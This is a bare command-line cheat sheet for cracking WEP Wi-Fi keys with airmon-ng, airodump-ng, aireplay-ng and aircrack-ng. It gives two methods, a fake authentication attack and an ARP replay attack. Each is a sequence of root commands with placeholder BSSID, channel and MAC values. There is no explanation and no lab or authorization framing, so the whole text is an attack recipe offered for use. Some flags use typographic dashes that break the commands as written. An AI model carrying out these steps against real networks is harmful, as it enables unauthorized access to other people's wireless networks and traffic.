 Method 1 : Fake Authentication Attack

root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -1 0 -a <BSSID> -h <OurMac> -e <ESSID> wlan0mon
root@uceka:~# aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng –b <BSSID> <PCAP_of_FileName>

Method 2 : ARP Replay Attack

root@uceka:~# airmon-ng start wlan0
root@uceka:~# airodump-ng –c <AP_Channel> --bssid <BSSID> -w <FileName> wlan0mon
#What’s my mac?
root@uceka:~# macchanger --show wlan0mon
root@uceka:~# aireplay-ng -3 –x 1000 –n 1000 –b <BSSID> -h <OurMac> wlan0mon
root@uceka:~# aircrack-ng –b <BSSID> <PCAP_of_FileName>
